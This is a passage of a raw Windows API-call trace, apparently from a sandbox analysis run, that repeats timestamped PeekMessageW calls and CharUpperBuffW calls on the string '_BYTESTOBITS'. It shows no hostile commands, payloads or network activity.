wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.239] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.240] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.241] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.241] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0043.241] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.241] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.241] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.241] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.241] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.241] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.241] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.241] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.241] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.242] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.242] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.242] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.242] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.242] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.242] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.242] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.242] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.242] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.242] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.243] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.243] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.243] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.243] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.243] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.243] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.243] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.243] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.243] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.244] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.244] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.244] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.244] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.244] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.244] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.244] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.244] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.244] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.244] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.245] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.245] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.245] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.245] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.245] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.245] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.245] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.246] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.246] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.246] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.246] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.246] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.246] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.246] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.246] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.246] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.246] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.247] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.247] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.247] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.247] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.247] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.247] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.247] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.247] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.247] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.247] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.248] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.248] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.248] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.248] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.248] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.248] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.248] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.248] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.249] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.249] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.249] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.249] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.249] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.249] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.249] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.249] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.249] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.250] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.250] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.250] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.250] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.250] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.250] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.250] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.250] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.250] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.251] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.251] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.251] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.251] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.251] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.251] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.251] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.251] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.251] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.252] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.252] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.252] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.252] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.252] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.252] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.252] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.252] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.252] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.252] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.253] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.253] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.253] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.253] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.253] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.253] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.253] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.253] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.253] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.254] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.254] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.254] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.254] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.254] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.254] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.254] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.254] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.254] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.254] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.255] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.255] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.255] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.255] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.255] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.255] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.256] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.256] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.256] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.256] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.256] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.256] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.256] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.256] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.256] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.256] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0043.257] CharUpperBuffW (in: lpsz="_BYTESTOBITS", 